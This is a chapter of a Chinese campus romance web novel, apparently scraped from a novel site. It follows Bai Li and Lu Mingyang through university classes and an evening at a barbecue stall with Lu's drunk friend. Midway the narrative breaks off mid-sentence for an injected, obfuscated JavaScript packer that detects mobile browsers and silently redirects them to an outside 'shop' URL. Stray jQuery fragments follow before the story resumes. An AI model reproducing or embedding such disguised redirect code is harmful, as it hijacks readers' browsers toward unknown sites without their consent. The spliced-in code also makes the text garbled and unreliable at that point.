文趣网 > 都市小说 > 飞行艇 > 21. 21.回南天
    陆鸣杨跟着白栎坐到教室第一排仅剩的两个空位时,才发现,上的是高数课。

    他简直要两眼一闭。

    但他面上不显,甚至主动拉过了一半同桌的书,放在位置的中间。

    白栎在找后面的同学借笔,其实刚刚也让祝云卷帮她带了,但小女孩的好奇心明显燃得更旺一点。

    白栎同样的话对后面两个同班同学说,“这是我朋友,来这边玩,一个人呆着无聊,嗯......就来上课了。”

    隔了一条过道的男生听到这话,笑了,“白栎你早说啊,让这哥们帮我点个名也好啊。”

    白栎朝他笑笑,先回答后座女生的问题,“他......应该不算单身。”

    有人在小声叹气,有人却悄悄扬起了嘴角。

    陆鸣杨把左右逢源的人拉回来,眼神示意她看门口,“老师来了。”还有,他凑近她的耳边,“哪里无聊了,这还是我第一次和你坐同桌。”

    近在咫尺的人,碎刘海下黑色的眼球晶亮,像极了吃到心仪食物的小动物。

    白栎不懂这人的情绪怎么会变化如此之快。她揉揉耳朵,坐正了身体,让他专心听课。

    高数课向来听的人不多。其实自从上了大学,无论中学时多么自觉的学霸,都少有再每节课都认真听的了。

    但白栎是个例外,她喜欢掌握知识的感觉,更何况大学的老师已经是普通人能接触到最顶尖的学术资源了,她很珍惜他们的每一场授课。

    甚至今天她少有地主动,只要老师眼睛一定位到他们这边,她就会抢先与老师对视,然后说出答案。

    几次之后,后面昏昏欲睡的同学忍不住感叹,班长依旧恐怖如斯。

    但老师视线一转,白栎又只顾着把手从一只宽大的手掌里抽出来,再帮他放进桌洞里。以免已经去会周公的人,醒来之后手麻到以为被谁截肢了。

    后面的课程,白栎也不再执着坐第一排了。刚睡醒被她牵小羊一样牵着换教室的人问,怎么这次坐这么后面?是不喜欢这个老师吗?

    祝云卷在旁边笑出声。白栎难得和寝室的大家一起坐在了靠后的位置,她忍不住为她辩驳,“栎栎最喜欢这个老师了,她应该是害怕老师被气到。”毕竟坐在老师眼皮子底下呼呼大睡的,还是少有。

    陆鸣杨听后朝白栎保证:“你坐前面去吧,这次我肯定不睡了。”

    “不要。”白栎摇摇头,告诉他,“这节是近代史。”

    “......”

    陆鸣杨彻底失语

    —

    刘砚舟再见到陆鸣杨的时候,是在华光大学校门后的美食街。

    他被好兄弟冷落了好几天,本想晚上让女朋友好好抚慰一下受伤的心灵,却被人一个电话从酒店里喊了出来。

    他们落座的烧烤摊人来人往,嬉笑游戏声遍布。他对面的人却阴沉着一张脸,与气氛格格不入,甚至眼神幽怨得像是马上就能掏出手机拨打315热线把这儿给一锅端了。

    刘砚舟拿菜单敲着桌子,并不准备惯着他,问大少爷:“这是又被甩了?”像是毫无畏惧的谏臣,完全忽视某人的眼刀,劝他,“事不过三,你这也第二次了......”

    “刘砚舟。”陆鸣杨一把夺过他手上碍眼的菜单,眼神认真,“你死了。”

    刘砚舟被他无力的诅咒逗得哈哈大笑。没有菜单拍桌子,他就直接用起了手掌。

    质量明显堪忧的木板桌被他拍得摇摇晃晃,像是下一秒就能整个塌掉,他的笑意却丝毫没有停下来的意思。

    陆鸣杨想不通为什么会有人笑点这么低。

    刘砚舟高却深莫测地摇摇手指:“不是我笑点低,是看到你破防,实在太爽!”

    陆鸣杨问他,是变态,还是今天没记得吃药?

    刘砚舟反问道:“现在才来关心兄弟是不是有点晚了?又不是你乐不思蜀的时候了?”

    “不要真的告诉我,你又和人白栎吵架了。”

    “陆鸣杨我真的挺搞不懂你的,和别的女生要么就是完全不说话,要么也算得上是彬彬有礼,怎么到了白栎那就像小学生一样?”

    “哥们,听我一句劝,小学生都不像你这么追人了。”

    陆鸣杨听这人喝了点酒就叽里呱啦地说一通,和中学那会没有一点区别,反倒有点平息了下来。

    他刺啦一声又打开一瓶啤酒,同刘砚舟说实话:“她答应晚上和我一起去上课的,又放了我鸽子,和别人去吃饭了。”后面的话简直是咬着牙说出来的,“和那个见了鬼的苏岑。”

    刘砚舟回忆好一会:“谁?”

    陆鸣杨:“高中压了你两年的年纪第一。”

    刘砚舟:“......”

    刘砚舟才不管某些人的酸言酸语,只问他:“人是两个人单独去吃饭的?没和你说什么前情提要?”他看陆鸣杨一副要把自己醋死的怨夫脸,实在不得劲,“就算去吃饭了,这都什么年代了大哥,吃个饭就能立地结婚?”

    陆鸣杨啧声,丢了一颗花生米到满嘴跑火车的人脸上,再把话补充完:“他们年纪的辅导员喊所有的班长一起去的。”

    刘砚舟听后,抓了一大把花生米扔了回去:“那你醋个蛋啊!”

    —

    白栎接到刘砚舟电话的时候,他们这边也刚好准备散场。导员选的饭店离学校不远,大家都准备一起散步回去。

    一群人多多少少有点不习惯和老师吃饭,只除了散场后依旧和辅导员走在最后面的苏岑。

    和高中时沉默寡言的形象完全不同,现在在任何交际场合的苏岑,都算得上游刃有余。

    白栎走在最前面,想着最好是能找机会给某个安静了一晚上的人打个电话。却被不知道何时从后方走上来的人喊住。

    苏岑走到她面前,递过来一个精致的小盒子,白栎微微睁大眼睛表示疑惑,他就俯身过来朝她低语:“李致远送给肖如荷的。”

    说完就退了回去,只手上的动作没变,等着白栎把礼物盒接过去。

    肖如荷是白栎的室友,李致远是苏岑的室友。

    白栎看着身边同学或明或暗的打量的视线,不明情况的占了多数,甚至有的男生已经开始轻声起哄了起来。

    她皱了皱鼻子,淡声道:“好的,我会帮你带到的。”说完就把礼物盒接过放进了单肩包里,动作利落,也不再说什么。

    众人还没搞明白什么情况,白栎又来了一个电话,她嗯嗯两声,又问了地址,简短地结束了电话。

    辅导员此时刚好结完账走过来,白栎朝老师告辞:“老师,我要去找一下我男朋友,就不和大家一起回学校了。”

    老师倒没什么意见,只是她今晚负责值班,还要嘱咐一句,“不要晚归。”

    白栎点头,又朝表情完全变成吃瓜状态的同学们告辞。

    大家友好地朝她挥手告别,苏岑离她最近,却不像刚才长袖善舞的样子,再没有说些什么。

    —

    白栎赶到烧烤摊的时候,依旧人声沸腾。人间烟火蒸腾往上,甚至让她迷了眼睛,迟迟找不到要找的人。

    白栎像个呆头鹅一样站了好一会儿,脸颊倏地被一瓶从天而降的冰水凉了一下,有人从她身后拉住了她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17862260|212054||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的手腕,避开了急匆匆传菜的服务生。

    站在她身后的人依旧穿着白天那件白色毛衣,身高腿长地立在那,把周遭的喧闹挡了个彻底。

    陆鸣杨问她:“在发什么呆,站在路中间是要当交通灯吗。”

    白栎回神,说:“我没看到你们人。”

    “在里面。”位置倒转,陆鸣杨两步走到她前面,手没放,继续牵着她往前走。

    看着他无比自然的动作,白栎忍不住想提醒他,“刘砚舟......”

    “也在里面。”陆鸣杨随口接道。

    白栎:“......好。”

    白栎是个不容易紧张的人,因为做大多数事之前,她都会尽力做好能做的一切准备。能预判到大概的结果,担忧的心情就会大减。

    但陆鸣杨握着她手腕的这一路,她不可否认的,在心跳加速。

    她想张嘴说些什么:“陆鸣杨......”

    “嗯。”有人却丝毫没有感知到她的情绪,自然地撩起了隔住房间内外的塑料门帘。

    老旧的门帘有一瞬悬在她的头顶,一只骨节分明的,与它丝毫不搭的手掌抓着它从上绕下,让她的视野顷刻间发生了变化。

    屋内比起屋外干净整洁不少,但在白栎看来,吵闹声依旧,像是要把她的心脏掀翻。

    却独独没有一份她意料之中的惊呼声出现......

    白栎朝四周看了看,有人像是聋了一般,安然地睡在了一张摆了几个空酒瓶的桌上。

    陆鸣杨寻回她的话头,问她:“怎么了?”

    “......没事。”白栎目光点在明显醉得一塌糊涂的人身上,转问道:“刘砚舟怎么了?”

    “哦。”陆鸣杨语气淡淡的,“被甩了。”

    白栎:“......”

    看到白栎视线转回到他身上,陆鸣杨继续补充:“就刚刚,被甩了。”

    “为什么?”

    陆鸣杨见她一脸虽然我见过很多次这种情况但是你最好还是告诉我现在到底是什么情况的表情,笑了。

    “嘴巴太臭了,他不被甩谁被甩。”

    白栎盯着他看了好一会,没说什么。又重新往前走,坐到了刘砚舟睡着的那桌。

    刘砚舟迷迷糊糊地趴在桌子上,也没真的睡死。感受到旁边坐了个人,挣扎着坐了起来,鬼迷日眼地认人:“贝贝?”

    “你来看我了贝贝。”他越说越像一只伤心的大狗,只想往人身上贴。“贝贝......”

    “滚蛋。”一只手抵在了醉得神智不清的人头上,一用劲,又把人推回了桌上趴着。

    陆鸣杨站在白栎身旁,再次牵住了她的手,让她从位置上起来,坐到旁边去。

    刘砚舟又费劲地从桌上起身,看到旁边换成了一个人高马大的男人,不高兴了,“陆鸣杨,你牵我的贝贝是什么意思?你怕不怕遭天谴的啊?”

    “舌头捋直了再说话,口水也不准喷得到处是。”有人洁癖成灾,扯了好几张纸挡在自己面前,“眼睛没用就去捐了,太多人比你更需要三天光明。”

    刘砚舟被他念的一串波罗经弄得皱眉,宕机的脑子好不容易消化了这些话的意思,眼睛又一瞬不瞬地盯着两人良久。

    他先认刚刚被他认错的人:“白栎?”

    刘砚舟给自己灌了好几杯水,依旧醉醺醺的眼睛看人都发直,又问陆鸣杨:“那你牵白栎是什么意思?”

    刘砚舟眯着眼睛,尽力从摇晃的视野里抓住一处跳动的红,手指往那个方向点,

    “白栎,你心跳快到手表都报警了。”